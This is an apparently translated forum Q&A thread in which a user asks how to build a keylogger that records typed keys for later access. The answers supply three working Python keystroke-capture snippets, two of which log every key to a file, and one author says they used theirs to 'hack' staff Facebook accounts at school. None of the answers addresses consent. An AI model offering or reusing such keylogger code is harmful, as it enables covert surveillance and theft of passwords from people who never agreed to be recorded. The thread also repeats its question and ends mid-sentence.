I'm trying to make a program that captures the keys typed on the pc, so that I can access them later. I do not know where to start. I do not know if it uses sqlite3 (database), in google I researched, but some explanations are zero.
I'm trying to make a program that captures the keys typed on the pc, so that I can access them later. I do not know where to start. I do not know if it uses sqlite3 (database), in google I researched, but some explanations are zero.
Victor could start by searching 'KEYBOARD LISTENERS' .
An example library used in python for keyboard capturing and writing is:
keyboard
It would be necessary for you to develop some of the code and structure your question better for a more assertive answer.
In any case, here is an example that I have changed that may be a north for you:
import keyboard
import string
from threading import *
"""
Optional code(extra keys):
keys.append("space_bar")
keys.append("backspace")
keys.append("shift")
keys.append("esc")
"""
# Atribuo a lista de caracteres ascii para a variavel keys(não encontrei lista com todas as teclas)
teclas = list(string.ascii_lowercase)
def listen(tecla):
while True:
keyboard.wait(tecla)
print("- Tecla pressionada: ",tecla)
threads = [Thread(target=listen, kwargs={"tecla":tecla}) for tecla in teclas]
for thread in threads:
thread.start()
This routine reads the keystrokes and 'printa' on the screen.
Actually the keyboard library works for python 2x and 3x.
After installing, you only need to import and use keyboard.wait (key) and be happy implementing your code.
In just 13 lines, this program does a gigantic job with only one drawback:
from pynput.keyboard import Key, Listener
import logging
log_dir = "C:/Users/"
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
The disadvantage is that when you open the window asking for the computer administrator password it does not capture what is typed.
If you want to make a Keylogger I already had a code that I used at school to "hack" the facebook of the staff (I was a bad person)
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
If you know English to read in this article: